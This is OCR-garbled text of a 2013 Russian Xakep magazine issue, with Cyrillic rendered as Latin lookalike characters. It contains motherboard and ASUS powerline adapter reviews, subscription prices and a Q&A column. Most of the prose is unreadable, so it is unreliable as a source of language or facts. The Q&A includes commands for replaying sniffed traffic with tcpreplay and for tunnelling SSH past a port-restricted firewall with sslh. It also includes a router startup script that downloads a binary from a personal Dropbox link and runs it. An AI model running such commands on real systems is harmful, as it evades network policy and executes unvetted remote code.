HaALaTh IMHWIA [OCTaTOYHO CEPbE3HO YA aNeHbl
apyr ot apyra. CnepgosatesnbHo, napa BUAeOKapT
He BynyT rpeTb Apyr Apyra. Bce MocTuku nayT B
KOMMeKTe.

Elie oauH vHTepecHbI MoMeHT: cnoTel DIMM
HY>XXHO CYMTaTb He CJieBa HanpaBo, a, Haobopor,
cnpaBa Haneso. B 3ToM cnyyae Moaynu onepa-
TWBHOM NaMATU HeobXxoMMO yCTaHaBNMBATb
B flafibHue nopThl. Y10 04eHb yaobHO B cnyyae
MCMOIb30BaHNS Napbl NAAHOK C BbICOKAMU
pagvatopamu. OHu He ByAyT KOHGANKTOBATH
c rabapuTHbIMU NPOLLECCOPHBIMYU KYyNlEpaMu.

Hanuune bonbworo yncna PEG-cnotoBs BbIHY-
nuno nHxeHepos GIGABYTE Heckonbko cMecTUTb
ceBepHbIit MocT. B GIGABYTE GA-990FXA-UD7
OH CTOWT B AL C fecATUdA3HO! Lenblo NUTaHNs
1 oxnaxpaetcs rabapuTHeIM paguatopom. OnaTb
XK€ TUMoTeTUYeCKoe Hannyne bonblioro yncna
BWAEOKapT 3aCTaBM/I0 NePeMeCTUTb BHeLL-

HWe KNaBULLW yrpaBieHus CUCTEMOM B paiioH
24-NMHOBOTO KOHHEKTOPa NuTaHus. TaM xe Ha-
X0AMUTCA Knasuwa obHyneHnsa HacTpoek BIOSa,
3allyMLleHHas N1acTUKOBOM KPbILWKOW Ha CayYai,
ecnn Tol — Kepxakos. OcTanoc MecTe4ko u s
cnoTta PCI.

B LlenoM pa3BoAKa KOMMNOHEHTOB BbIMOHEHA
Ha BblcoYallleM ypoBHe. Y Hac NpeTeH3ui HeT.
Papyet u ToT dakT, 4to GIGABYTE GA-990FXA-
UD7 cHabpunu bonblumnm ynciom noptos SATA,
eSATA, aTakxe USB 2.0.

MoroBopuM o pasroHe. Halwa HeHarnsgHas
GIGABYTE GA-990FXA-UD7 — eauHCcTBEHHas B
TecTe nnaTa, obaeneHHas rpapuyeckoit 0bonoy-
ko UEFI. HoBuukam ceit dakT MoxeT nokasaThbcs

£ BbicOKMM
pa3roHHbI
noTeHuman

£ pasBogka

£ osepkiokepckue
ynyyliaisepsbl

B ynobHoe
pacrnonoxexue
cnotos DIMM

B Het UEFI-
0605104k

8000

PYB.

MUHYCOM CUCTEMBI. TEXHOMaHbAKU XKe CO CTaXKeM
JULWHKWIA pa3 noHocTanbrupytT. Bce oBepkiokep-
ckue GyHKL MM pacnonoxeHsl Bo Bknagke M.L.T.
(MoBo Intelligent Tweaker). Mpw 37oM BHavane
WAYT HAaCTPOMKM LUKMH U MHOXWTENEN cucTe-

Mbl, 3aTEM OMLMW Pa3roHa NamMaT W, HaKoHel,
napameTpbl HanpsHkeHUn npoLeccopa, MaTe-
puHkmn 1 03Y. OTMeYaeM, 4TO HUKAKNX GYHKLMIA
aBTOPa3roHa (1o ecTb — «HaXMU OfHY KHOMOYKY
W padyiics») He NpefyCcMOTPEHO: eCTb AnLLb
pexumbl Auto n Manual. TeM He MeHee Mbl be3
npobnem paszorHanu GIGABYTE GA-990FXA-UD7
n0 cTabunbHbix 291 My no wuHe! A aTo TpeTuii

=
-
=
g
g
[+

pe3ynbTaT B TeCTe, BECbMa W BECbMa AOCTOMHbIN
pesynbrar.

B caMoM Hayane cTaTby Mbl yXke foKa3anu,
4To Ha 6a3e npoueccopos AMD BnosHe MOXHO
co3pfaTh reiiMepckyto cuctemy. M GIGABYTE
GA-990FXA-UD7 cTaHeT oTANYHbIM NOACMOPbEM.
W He Tonbko. Ha 6ase AMD 1 repouHu aTux cTpok
BMOJIHE BO3MOXHO cobpaTb pabouyio cTaHumo,
Korpa obpabatbiBaTh flaHHble bygeT He cam CPU,
a, Hanpumep, NVIDIA Quadro. [pn 3ToM 3aTpaThl
Ha MOKYNKY «KaMHsa», NnaTbl ¥ namaTv byayT
OLLYTUMO HUXKE, HEXEeNW 3aTpaThbl Ha KOMMOHEHTbI
cucTeMbl Ha 6ase noruku Intel.

BEST OF THE BEST

Korza B cpaBHWUTENIbHOM TECTUPOBAHNN NPUHAMAIOT Y4aCTUE UCKIIOYNTENIbHO
TOMOBbIE «KeNe3Kun», BCErfa TAXeN0 ONpeennTbea ¢ nobeantensMu B Toi

AN MHOI HoMUHaLMK. OcobeHHo B TecTe MaTepUHCKUX nnat. HanoMHuM, 4to
«CJIOHOB» Y Hac Bcero ABa: «Jlyylias nokynka» v «Beibop pefakuumn». Mepsbii
npu3 nonyyaet nnata MSI 990FXA-GD80. [MpusHaeMcs, ¢ faHHOW MaTepUHKOW
Mbl B UTOTe MPOBO3MANCH BosbLLie BCEro. Yx 601bHO KanpuaHo oHa cebs Bena Bo
BpeMs 0Bepk/okuHra. Ho 3To Toro ctouno! Mnata ¢ 40CTaTO4HO A€MOKPATUYHO
CTOMMOCTbIO MPOJIEMOHCTPUPOBAa BTOPOIA Pe3yNbTaT No pasroHy B TecTe. K Tomy

XAKEP 01/168/2013

Xe HapeKaHVII7I M0 pa3BofiKe KOMMNOHEHTOB, q)yHKLLI/IOHaJ'Iy 1 371eMeHTHOM base

nony4yunnacb MaTepuHKa.

rpag. 3C

MSI 990FXA-GD80 y Hac HeT. Pa3Be 4To KOMY-TO MOXET M0Ka3aTbCA, YTO LIeCTb
nopToB SATA 3.0 HepocTaTouHO.

Harpagy «Bbibop pegakuuu» nonyyaet ASUS Crosshair V Formula. Abco-
NoTHbIN Nngep Tectal la HaM NpocTo He K YeMy NpuapaThbes, 60bHO X XopoLLa

OTMETUM, YTO OCTasibHbIe NNaThl, npeacTaB/ieHHble B CErofHALLHEM TecTe,
TaKxXe ,D,OCTOPIHbI BHUMaHUA. ﬂ,a)Ke HECMOTPA Ha TO, YTO OHW He Nosy4Ynsaun Ha-

137



NOoANMULLNCDH!

8-800-200-3-999
+7 (495) 663-82-77 (6ecnnaTtHo)

(bvD

YEM NOPALOBATE THEAT TR

AR WER -

B Hosepon — 1110 py6.
12 nomepon — 1598 py6.

& Homaepon — 1194 py6.
12 Homepon — 2149 py6.

&

& Homepoe — 564 pyo.
13 Homepon — 1108 py6.

6 Homepos — 599 py6.

6 nomepoa — 895 py6.
12 Homepoe — 1699 py6.

PepakumoHHan nognvcka 623 nocpegHWKoOB — 310
rapaHTUA Nony4YeHWsA BaxHOro ana Bac xypHana

W aKoHOMKA ao 40% OT pO3HMYHONA UeHEl B KHOCHS,

XKENE3D;

B Homepon — 1110 py6.
12 womepon — 1959 py6.

B wosepon — 1110 py6.
12 nomepos — 1589 pyb.

& Homepoe — 810 py6.

12 homapon — 1999 pyé. 12 womepos — 1499 pyb.

BEE O NOHHEHXARME wm =
- _T_J

ARTeMEGuAeR [T

ST

& Homepoa — T75 py6.
12 nomepoa — 1399 pyb.

6 Homepos — 690 py6.
12 Homepos — 1249 py6.

game)iand

shop.glc.ru
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Hukonait ApceHbeB

ASUS

CKOPOCTHAA CBH3b
HEPE3 PO3SETKY. - B

727

7z
P
W

i 4,

PasbeMbi: 4 x RJ-45 (1000 M6uT/c)
Kpuntosawmra: AES (128 617)
MHAMKBTOPH: nnUTaHue, CBA3b
CkopocTb: g0 500 M6ut/c

CucteMa nutanms: 100-240 B/ 50-60 Iy,

MokpbiThe: go 150 m?

Fabaputbl: 140 x 75 x 42,4 MM
KoMnnekT noctaBku:
Powerline-agantep (gns PL-X52P —
2), 2 abens RJ-45, nHcTpykums
noNb30BaTeNs, rapaHTUIHBIN TanoH
[laTa Hayana npopax: KoHel, siHBapst
2013 ropa

B nyywasn ckopocTb B Knacce
B yeTbipe rurabutHbix nopta
H He TepsieTcs po3eTka

XAKEP 01/168/2013

apuaHToOB OCTYNa B UHTEPHET B Hallle BpeMms

0YeHb MHOr0. XoYellb — NPOBOAHON, Xo4ellb —

becnpoBofHoN. Bbibop 3aBUCKT OT Leneit 1 3a-
nay. besycnosHo, Wi-Fi — WwTyka oTanyHas, Ho nopon
CTEeHbl MELUaloT, U 04eHb, CHIXas CKOPOCTb 06MeHa AaH-
HbIX 10 MUHUMYMa. B Takux cnyyasix npoBOAHbIe TEXHOI0-
TN KYA,a KaK NpUrofiHee, XoTs eCTb HeMano npensTCTBUNA,
HanpuMep HeobXoAMMOCTb NPOBOLKM CeTEBbIX Kabenen.
Ecnv oHW He BbinKn 3an0XeHbl U3HAYaNbHO B NAAHUPOBKY
KBapTUPbI, NPUAETCS 3aTeATb KanuTabHblii PEMOHT.
Blof)keT He pe3nHOBbLIN, Aia U HEPBOB CBOWX U COCeAEeN
He HanacewbCs. JIMWHNX 3aTPaT U NOTEPU BPEMEHN MOX-
HO 13bexaTb, eCn NOATH ApyruM nyTeM. Bce Mbl 3HaeM
o TexHonormn ADSL, HanpuMep, oHa 0 CUX Nop JoCTaToY-
HO MonynsipHa 1 He TpebyeT NpokNafku kabenewn, HyxeH
nuwb TenedoHHbIR nposog. Power Line Communication
no npeonorun cxoxa ¢ ADSL ¢ ogHOM nuLwb pasHuuen:
L5 Mepefiaym [JaHHbIX UCMosb3yeTcs 0bblYHas po3eTka
nuTaHus. MpeuMyliecTsa noaxoAa 04eBUAHbI: NCMONb-
3ys po3eTky u LAN-kabenb, MoxHO obecneynTs focTyn
K CeTWN MHOXeCTBY yCTpoicTB. [lo nopbl 4o BpeMeHu

PL-X51P/
P-X02P

nofo6Hble peLleHns bbian orpaHUYeHbl Mo BO3MOXHO-
CTSM, CKOPOCTM U GYHKLMOHANBHOCTH, HO BCE MEHSET-
csi. ASUS obHoBUMNa NMHENKY CBOWX YCTPOWCTB Cepum
Powerline mogenbto PL-X51P, nonyunsLiei psag npuaTHbIx
yCOBEPLUEHCTBOBAHMIA M0 CPABHEHMIO C NPeAbIAYLLINM
nokoseHueM. Brepsbie 40151 yCTPOCTB Takoro TMna Bbl
BCTpeTUTe cpa3y yeTbipe rurabutHoix LAN-nopTa, ofuH
13 KoTopbIXx 0bnafaeT cBoeit n3toMuHKoit. 310 VIP-nopr,
Ha Hero Bcerpa naet npuoputeT Tpadmka. OueHb yaobHo,
HanpuMep, NOAKIIIOYNTL UTPOBYIO KOHCOMb UK He MeHee
MrpOBOM KOMMbBIOTEP K HEMY 1 MONYYUTb MUHUMaNbHbIE
3a[lePXKKM U MaKCUMasbHY0 CKOPOCTb, 4TobbI 0becneunTs
cebe neanbHo «rnajKkuii» UrpoBoii npoLecc.

Mcnonb3ys HoBeHbknin PL-X51P, Tbl nonyvaelb
He ToNbKo 06unne LAN-nopToB, HO U coXpaHsielwb NosiHo-
LIEHHYI0 PO3€eTKY, KOTOpast HUKorAa He nomellaeT. HoBUH-
Ka obecrneynBaeT peKopAHYyt A1 3TOTO TUNA YCTPOIACTB
CKOPOCTb NepeAaun aanHbix — 1o 500 M6ut/c — v 301y
nokpbiTus 4o 150 M2 BesycnoBHo, L0BUTHCSA NMKOBOW
NPOMNYCKHOW CMoCcOBHOCTM B LaneKo He npeanbHbix
YCNOBUAX HALWIUX 3NeKTPUYECKUX ceTer npobnemMaTnyHo,
Ho ASUS uHTerpvpoBana B yCTPOMCTBO GUALTP LIYMOB
L5 KOMMEHcaLny GayKTyaLnii B IMHUM NuTaHus. Takxe
CTOMT OTMETUTb, 4TO BCe flaHHble WNdpyTcsH 128-6UTHBIM
anroputmoM AES. OguH u3s nntocos nuHeinku Powerline-
YCTPOWCTB — 3/71EMEHTAPHOCTb MOAKIIOYEHNS, He Tpe-
ByeTcs HUKaKUX AOMOSTHUTENbHbBIX NPOrPaMM, CIIOXHbBIX
HaCcTPOEK U NpoYnx WwaMaHcTs. MofKNoYeHe yCTpOCTB
NpOUCXOANT aBTOMaTUYeCKH, Npu HeobXxoanMocTH
MHAVBUAYasbHbIE HACTPONKM MOXHO NPOM3BECTM Yepe3
HOYTOYK MW NepCcOHanbHbIA KOMMNbIOTEP.

ASUS nosabotunach v o cucteme cbepexenns
3Hepruun. OHa pacno3HaeT, Korja Harpyska Ha ycTpoi-
CTBO Mana Wiu NosHOCTbIO OTCYTCTBYET; B C/ly4ae Takoro
cueHapus PL-X51P nepeiifieT B pexKuM NOHWUXEHHOT0
noTpebneHns sHeprum Unmn pexnm oxnaanus. Pasymeet-
s, AN paboTbl CaMoro ycTpoiicTBa BHELWHEr0 NUTaHUS
He TpebyeTcs.

BbIBObI

ASUS PL-X51P — npakTuyHoe 1 npocToe B UCNONb30Ba-
HUW YCTPOMCTBO, KOTOPOE MOMOXET He3 ANLLIHNX Npobnem
NOAKJOYNTb 60/1bLLIOE KONMYECTBO AeBaiiCoB K floMallHel
CeTu 1 MHTepHeTy. YRobHo, Tem bonee 4yTo Tenepb v Xo-
NOAUABHWKM, 1 TeNeBNU30pPbI, 1 Npoyas ObIToBas yTBapb
noslyunna ceteByto GyHKLMOHANbHOCTb. Byfem HagesTb-
s, YTO LieHa He noakayvaer.

P.S. EcTb onHa bopopaTtas ¢ppasa u3 He MeHee bopo-
natoro aHekpoTa: «[lanTe ase!» B ASUS ero, noxoxe,
3HalOT M yCrenn NoAroToBUTLCS 3apaHee: MofuduKaLns
PL-X52P BkntoyaeT B KOMMEKT NOCTAaBKMW 4Ba MOJIHOLEH-
Hbix Powerline-agantepa. 3C
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PomaH Mouwmii (gotsijroman@gmail.com)

ECTb BONMPOCbI — NPUCBIJIAW
HA FAQ@REAL.XAKEP.RU

Korpa s TonbKo Kynun cBol aHApoua-Ae-

BaMc, oH «beran» o4yeHb 6bicTpo. Ceitvac
e, nocJie roAa C IUWHNUM aKTUBHOTO UCMOJIb-
30BaHUA, NPUNOXKEHMA CTANM 3aNyCKaTbCA ABHO
nonbue v BoobLLe BpeMs 0T BpeMeHyn annapat
noasucaet. Korpa renedoH HaumHaeT rYUTD,
fl C MOMOLLbIO MEHeA)Kepa npoLeccoB youBaio
Te npoLecchl U CEPBUCHI, YTO HE UCMONb3YIOTCA
B AaHHbI MOMEHT. 3T0O NoMoraeT, Ho HeHapon-
ro. MoXXHO N1 Kak-To MHa4e pewnTb 3Ty
npobnemy?

Mo cywecTsy, ybrBaHue npoueccos

BbIFPY>aeT UX U3 Kella, TeM CaMbIM 04ULLas
onepaTuBHYio NaMaTb. BonblUMHCTBO Ntofei
cyuTaeT, yTo YyeM bonblie cBOHOAHON NaMaATK, TeM
boicTpee paboTaet TenedoH nnv nnaxwer. Ho aTo
He coBceM Tak. CoxpaHeHMe B Kelle 4acTo
MCMONb3yeMblX MPUIOXEHWI NO3BONAET CUCTEME
3arpyXatb ux bbicTpee, TeM CaMbIM ycKopsis TBoe
ycTpoiicTBo. [ToaToMy criensiM ybuBaHmem
HE UCMOJIb3YeMbIX B LaHHbIA MOMEHT NPUNTOXEHWIA
yallle BCEro MOXKHO HaHecTu 6onblue Bpesa, YeMm
nonb3bl. Cam no cebe Android goctaTouHo xopoLlo
CMpaBAfeTcs ¢ ynpasieHreM NamMaTbio, Bbirpyxas
019 Tebsi HeMCnoNb3yeMble NPUNOKEHUS.
Ho He BCce NpnIOXeHNs paBHOLEHHBI, U HEe KaX-

Lbll pa3paboTymk NuLLeT AeaNnbHbIV KO, YTEYKHM
naMaTV TOXe HUKTO He 0TMeHs . Kak pe3ynbTar,
paHo WM No34HO HonbLoe KoANYecTBo
MPUNTOXEHWUN B Kellle Ha4HaeT MelaTb HopMarb-
HoW paboTe cucTeMsbl. Boixog ecTb — ncnonb3so-
BaTb 60J1ee YMHbIN MeHe[xep NPoLLEeCcCoB, Kak,
Hanpumep, Auto Memory Manager (go0.g!/8xyrG).
YTo nenaet ero yMHbIM? Kak MUHUMYM TO, YTO BCE
YCTAHOBMEHHbIE MPUOKEHUS ITOT MEHELKEP
npoLeccoB pa3buBaeT Ha HECKOJIbKO KaTeropui.
[lns KaX [0l KaTeropum MoXHO yKa3saTb ypoOBEHb
cBo6OAHO ONepaTUBKY, NPU KOTOPOM MeHeXep
HaAYHeT BbIFPYXaTb NPUNOXKEHUS U3 ITOM
KaTeropuu. TakuM 06pa3oM, HEKpUTUYECKUE UK
pefKo UCMoNb3yeMble MpuaoXeHus byayTt
BbIrpY)XXaTbCs NepBbIMU. [puioxXeHne No3BonseT
YCTAHOBWTb aBTOMATUYECKYI0 OYNCTKY, @ TaKXKe ee
nepuoa.

Bcerpa nonb3ylch B CBOMX NpoeKTax
caMonoanucaHHbiMu SSL-cepTuduka-
TaMM, HO Y MHOTUX NoJib30BaTeJiell BO3HUKAT
npob6seMbl c UMNOPTUPOBaHUEM UX B bpaysep.
MokynaTb Xe cepTUPUKAT He XoYeTCs, TaK
KaK LieHbl Ha HUX KycatoTcs. MoXHO M nony4yuTb
ceptudukat 6ecnnatHo?

BecnnaTHo cepTUdMKAT MOXHO NOAYUNTb

Ha caiTe startssl.com. YTobbl UM 0b3aBe-
CTUCb, B,OCTATOYHO TOJIbKO NPOBEPKM TBOET0
e-mail-agpeca v ¢pakTa BNafieHNs [LOMEHOM.
CepTudukat coBeplueHHo becnnaTHbIN, 3aNNaTuTb
0K0J10 LWECTUAECATH LONNAPOB NPUAETCS TOSbKO
3a BepuduKaLimio TBOEN IMYHOCTK, ecav Tebe
Hy>xeH wildcard-cepTudukat. 3ameuy, 4o cepTu-
¢dvKaTbl StartSSL nopaepxmBaoTCH MHOXECTBOM
M10: Android, Camino, Firefox, Flock, Chrome,
Konqueror, IE, Mozilla Software, Netscape, Opera,
Safari, SeaMonkey, iPhone, Windows. He moxeT
He pafioBaTh pycckas Bepcus MHTepdeiica caiiTa :).

MHe Hy>HO cuMynupoBaTh, TO €CTb
nepeoTnpaBuTb NepexBayeHHbIN
cHuddepom Tpaduk. Kak nerye Bcero MoXxHo

3To caenaTb?

OTANYHbIM pelleHVeM 3afaun ABnseTcs
“cnonb3oBaHue yTUANT U3 NakeTa
Tepreplay (tcpreplay.synfin.net). lns nepexsaTa
1 coxpaHeHus Tpadwka B pain B popmate pcap

MOXHO MCMONb30BaTh yTUAUTY tcpdump:

# tcpdump -ni wlan@ -s@ -w dump.pcap «
port 501

KAK 3ACTABUTDb IPTV JIETATb MO WI-FI C MOMOLLbIO UDPXY HA NMPOLUUBKE DD-WRT

Tak cnoxwunocs, yto IPTV BewaeTcs nposaige-
pamu B opme UDP Multicast. [oaTomy becnpo-
BOZHble CETU MPOCTO JIOXKATCH U YyMUPAIOT, eCNn
Takoe B HMXx nonagaet. Ho ecim oyeHb xoyeTcs,
4T06bl OMa UHTEPHET-TeNEBUAEHWE OT Npo-
BaWpgepa nonagano Ha HoyT no Wi-Fi, To Hago
npeo6pasosats UDP Multicast notok B HTTP-
noToK, 4 Bce 3apaboTaeT naeansHo. [lns atoro
HaM noHajobuTcs anbTepHaTUBHAsA MPOLKUBKA
poytepoB DD-WRT n MantoceHbKuit feMoH
udpxy (sourceforge.net/projects/udpxy). MeTon
nomkeH paboTtaTh Ha bonblWMHCTBE feBaiicoB,
Ho TecTupoBancs Tonbko Ha D-Link DIR-82,
DIR-300, DIR-400; ASUS WL-500gP V2; TP-LINK
TL-WR1043ND, TL-WR741ND.
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Bo-nepBbix, HaM HyXHo ycTaHoBWTb DD-

WRT Ha poyTep. lns Hayana cnepyet

npoBepwuTb, Nofaepxunsaetca sim DD-
WRT T1BOoEI Xene3koit. Coenatb 3T0 MOXHO 3J€Ch:
www.dd-wrt.com/site/support/router-database.
Mpouecc yctanoBku DD-WRT cunbHo otnuyaetcs
L7151 pa3HblX eBalicoB, NO3TOMY i 0TrNpaBJio Tebs
Ha 0dULMaNbHYI0 MHCTPYKLMIO MO YCTaHOBKeE:
www.dd-wrt.com/wiki/index.php/Installation. 3a-
Meuyy TOJIbKO, 4TO pOoyTep OYeHb NIerko npespalla-
eTCH B KMPNNY, KOTOPbI NOTOM [JOBOJIbHO CIIOXKHO
0XUBNTb. [Mo3ToMy byfb NpefieIbHO 0CTOPOXKEH
npu ycTaHoBKe.

Cnepyrolwmm nyHKToM bypeT 0b6xon
dainpsona. CaMuM NpocTbIM 1 Bbl-
CTPbIM pelleHVeM siBseTcs baHanb-
Hoe 0TKJtoYeHWe daitepa, 3To MOXHO cienaTb
Ha Bknagke «Security» (SPI Firewall). 3tot
cnocob npuemneM AnWb A5 0TNAL0YHBIX Lienel,
HanpuMep Npu BO3HUKHOBEHWW Npobnem Bo
BpeMs HacTpoiku IPTV. MocTosiHHO e aepxaTb
BbIKJIOYEHHbIM $aiipBos, Kak Tbl MOHUMaeLllb,
He cnepyeT. [paBuAbHbIN cnocob 3akvaeTcs
B HacTpolike iptables poyTepa Takum obpa-
30M, YT0bbl OH He pe3an Haw IPTV. ins atoro
B Administration — Commands gobaBb cTpouky:

iptables -I INPUT -d «
224.0.0.0/240.0.0.0 -j ACCEPT

XAKEP 01/168/2013



BOFIpOCbI N OTBETDI

Takxe B NakeTe NPUCYTCTBYET 04eHb Nose3Has
yTunuTa tcprewrite, no3sosisioLLas NPoOU3BoAUTh
BCAYeCKMe 3aMeHbl B NepexBayeHHoM Tpadpuke. Ha-
npumMep, 3aMeHy agpeca otnpasutens 95.133.87.181
Ha agpec flokanbHon MalmHbl 192.168.1.1 MoxHO
cfienathb Npy NOMOLLY Takol KOMaHAb!:

# tcprewrite --skipbroadcast «
--pnat=95.133.87.181:192.168.1.1 «
--infile=dump.pcap --outfile=dump2.pcap

,D,J'Iﬂ TOro YTobbl NOBTOPHO CreHepupoBaTb
nakeTbl, HY)KHO BbI3BaTb

# tcpreplay --intfl=eth® dump2.pcap
[lng pepakTupoBaHus pcap-gamna MoXHo

TakXe 1CMob30BaTh MOLLHbIA MHCTPYMEHT
netdude (netdude.sourceforge.net).

Kak nogHaTb SSH-coeguHeHue, ecnu

MeXceTeBoWi 3KpaH orpaHM4nMBaeT MeHs
ToNbKO noptamu 80 n 443?

EcTb oTnuYHOE peLeHne 3Tol npobnembi.

B pamkax npoekTta sslh (www.rutschle.net/
tech/sslh.shtml) pazsusaercs MyabTUNIEKCOpP
SSL/SSH-coefuHeHui, CnocobHbIi NpUHUMAaTh
COoefiJMHEHWs Ha OAHOM NMopTy 4 NepebpackiBaTh
X B 3aBUCMMOCTW OT TWna npoTokona. Moapep-
XKMBalTCS Takne npoTtokonsl, kak HTTP, HTTPS,
SSH, OpenVPN, tinc u XMPP.

[ns pewenuns npobnembl HyXXHO 3anycTUTb

sslh 3a npefenamn MexceTeBOro skpaHa
Ha 443-m nopTy. [lns 3Toro BLINONHY Takyto
KoMaHpy:

# sslh --user sslh --listen 0.0.0.0:443 ~
--ssh 127.0.0.1:22 --ssl 127.0.0.1:443

e --usersslh onpefenset nonb3oBatens, nog
KoTOpbIM cnedyeT 3anycTuth sslh;

e --listen 0.0.0.0:443 — IP v nopT gna npnema
BHELUHWUX COeJUHEHUN;

LUN®POBAHUE [ AHHbIX B OBJIAYHbIX CEPBUCAX

XPAHUULLE. CYUWECTBYET JIN BOJIEE YA0BHbIM METO[, YEM OBbIYHOE
LWMNO®POBAHWE KOHOUOEHLMANBHbBIX ®ANNOB NEPE[ 3ATPY3KOM UX B
O0BJIAKO C MOMOLLbIO IIOBOW YTUNUTLI, KOTOPAA YMEET 3TO LENATB?

m MHE HYXXHO LWM®POBATb ®ANJIbI, KOTOPLIE 1 XPAHIO B OBJTAYHOM

co3fain wudpoBaHHbIA GanoBbI KOHTEWHEpP U coxpaHu ero B Dropbox unu

noboe fpyroe 0bn1ayHoe xpaHuauiLe, KOTopoe NOALEPKNBAET CUHXPOHM3A-
LLMI0 TONTbKO U3MEHMBLLUMXCS YacTel paitna. 3To CIKOHOMUT Tebe Tpaduk n BpeMs, ecnu
TrueCrypt-KoHTelHep BbipacTeT B pa3Mepax. Ellle 0fHWM pelleHneM sBnseTcs Uc-
nosib3oBaHue nporpamMmel BoxCryptor (www.boxcryptor.com). BoxCryptor Beirpyxaet
B 06/1aKko 3awmndpoBaHHble Bepcun GannoB, KOTopble Tl MOMECTULb B CNeLManbHbIf
BoxCryptor-paspen. CyuiecTsytoT Bepcuu nporpammsl ans Android (nogaepxusaet
Dropbox 1 Google Drive) n i0S (8 HacToswee Bpema Tonbko Dropbox), 4to o4yeHb yaobHo.
Ecnuny 1ebs Linux, Moxews nogHaTb EncFS (www.arg0.net/encfs). Mo npununny paboTe
EncFS oueHb noxox Ha BoxCryptor, Ho Tbl paboTaellb He ¢ pa3fesioM, a Co cneLuanbHom

u CywecTByeT, u He ogunH! HanpuMep, MoxHo ncnonb3oBaTh TrueCrypt. MpocTo

nankow. Kpome Toro, B oTnnume ot becnnaTtHoit Bepcum BoxCryptor, EncFS He umeer
OrpaHnyeHuns Ha KONNYeCcTBO CoxpaHsaeMblx Gaitnos. [ToMUMO BCeX NPeANOXeHHbIX
BapMaHTOB, MOXHO CMEHWUTb 061a4HOe XpaHUIULLE Ha TaKoe, KOTopoe nofepinBaeT
WndpoBaHMe Ha CTOPOHe KneHTa. XopoLMMK NpUMepaMiu Takx CepBUCOB ABASIOTCS
SpiderOak 1 Wuala. 3Tv cepBuchl WiMdpytoT U paclundpoBbIBaAlOT TBOW faHHble N0Kab-
HO, COOTBETCTBEHHO, OHW NPeACTaBIEHNS He UMEKOT, YTO 3a laHHbIe Thbl COXpaHseLlb.

8  wen mesnron

D cic

OHnaitHoBbIi cepBuc Wuala

Fagiwrns E

Features T
Security & Privacy 2
W Wusls prarecis wnar ducs sad geards wwer preasy. Caaboil Waila

HaM HyxHa koMnunsauus udpxy nog
B npoLeccop KOHKPeTHOro fieBanca.

Mpem ciopa: downloads.openwrt.org/
backfire, Bblbupaem nocnegHioto Bepcuio bunpa.
[Janee Bbibupait yuncet, Ha koTopoM paboTaeT
TBOM poyTep (Hanpumep, ana D-Link DIR-825 —
atheros), u nepexoau B nanky «packages» — Tam
ULLM NaKeT, KOTOPbI HaunHaeTcs ¢ udpxy. 3ToT
MaKeT HyXHO CKayaTb, PacnakoBaTb 1 JoCTaThb
dann udpxy, Bce Xe 0CTasbHOE MOXHO YAANNTb.
B npuHuMne, Ha JaHHOM 3Tane MOXXHO NOAKJI0-
4uTbCs K poyTepy no Telnet u 3annTb dain updxy,
KOTOPbI BECUT CYMUTaHbIe KMN0obaiiThl, B Nanky
/jffs, HO He BCe yCTpOMCTBa UMEIOT MOALEPKKY
JFFS.

XAKEP 01/168/2013

Ecnun B TBOEM yCcTpOWCTBE TakyW HeT Nof-
nepxkun JFFS, To, Kak BapuaHT, MOXHO

MpW KaXX40M BKJTIOYEHUN poyTepa CKayn-

BaTb udpxy B nanky /tmp 1 3anyckaTb. [Lng 3Toro
B aBTo3arpy3ky (Administration — Command —
Save Startup) fo6asb criefiyloline KOMaHbl:

wget http://dl.dropbox.com/u/69514737/
udpxy

chmod +x udpxy

/tmp/udpxy -a $(nvram get lan_ipaddr) «
-p 4022 -m $(nvram get wan_ipaddr) «

-B 1Mb -M 30

3peck ¢ Dropbox’a 3arpyxaetcs koMnuasyus
updxy nog Atheros. Tbl )Xe UCNOAb3YW KOMAWASA-
LLMI0 NOA, CBOW YMMCeT.

Mepesarpysum poytep: Administration —
E Reboot router v nposepum ctatyc udpxy:

http://192.168.1.1:4022/status. Ecnn
Tbl BCE CAleNaN NpaBubHO, TO N0 3TOMY agpecy
yBUAMLWb Tabnunuky, B nonsax «Accepting clients
on» n «Multicast address» KoTopoi LoSKHbI ObITb
KoppeKkTHble IP'wHukn. Ecnv 3geck Bce xopouwo,
To npobyem cMoTpeTb TpaHcasuui. Ins atoro
“cnonbyeM obbIYHbIA M npuBbluHbIA VLC-nneep,
TO/IbKO B daiie nnen-nucTa MEHSEM HaCTPOWKM
KaHanos ¢ Buaa udp://@230.33.0.4:1234 Ha

http://192.168.1.1:4022/udp/ «
230.33.0.4:1234
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e --ssh 127.0.0.1:22 — IP v nopT gns npobpoca
SSH;

e --s5/127.0.0.1:443 — IP v nopT gnst npobpoca
HTTPS.

Ha paboyeM cTone npuBbIK fepxaTtb

NopsfoK: Bce APNbIKK, Nanku, ¢pannel
He pa3MeLleHbl PpaHA0MHO, @ CTPYNMNUPOBaHbI
no kateropusaM. Ho BpeMeHaMu npuxopuTca
NoAKN0YaTbCA K NNa3Me UK NPoeKTopy, U3-3a
Yyero MeHsieTCs paspelueHne 3KpaHa 1 Becb
nopsifoK NpeBpalLaeTcs B CBasKY, YTO 04eHb
HenpusaTHo. Kak HacTpouTb BocCTaHOBNEHUe
pasMeLleHUs ApJIbIKOB?

Mory nopekomeHpoBaTh Tebe nporpamMmKy

Desktop Restore (goo.al/Xy2IP). Mpu ee
MCMNO/Ib30BAHMM B KOHTEKCTHOE MeHIo paboyero
CTO/1a MHTErpUPYIOTCS TPY MYHKTa MeHto: Save
Desktop [coxpaHseT pacnonoxeHue apibikoB
ANs Tekylwero paspewenus), Restore Desktop
(kak v crefoBano 0XuaaTb — BOCCTaHaBMBaeT)
u Custom Save/Restore (npefocTaBaset BO3MOX-
HOCTb CO34aBaTb/BOCCTaHABAUBATDL Apyrue
KOHUrypaLum, a Takxke CoxpaHsaTb KoHoUrypa-
umnn B dpainn). Tenepb MoXKeLLb CMOKOMHO MEHSATD
paspeLueHue akpaHa. ToNbKo nepes aTUM LeKHH
Save Desktop, 1 nocne BoccTaHOBNEHUS
pa3peLieHns K UCXOJHOMY 0CTAaTOYHO BbIMNON-
HWTb Restore Desktop, 4To6bl Bce fipabiku
BEPHYNCH HAa CBOU MecTa.

WMeeTca daiinoBoe xpaHunuuie pasMepom

6onbwe 5 T6, KoTopoe npeacTaBnseT
coboii poMeHHYlo o6nacTb 06MeHa Ha cepBepe
Win2008 R2. MepeAo MHOM CTOAT ABE 3aAauM.
Bo-nepBbix, HyXHO co6paTb CTaTUCTUKY: KaKue
daiinbl (M ckonbKo nx) 6b1nn u3MeHeHbl 6onee n
net Hasap [kenaTenbHo ¢ 3KCMOPTOM 3Toi
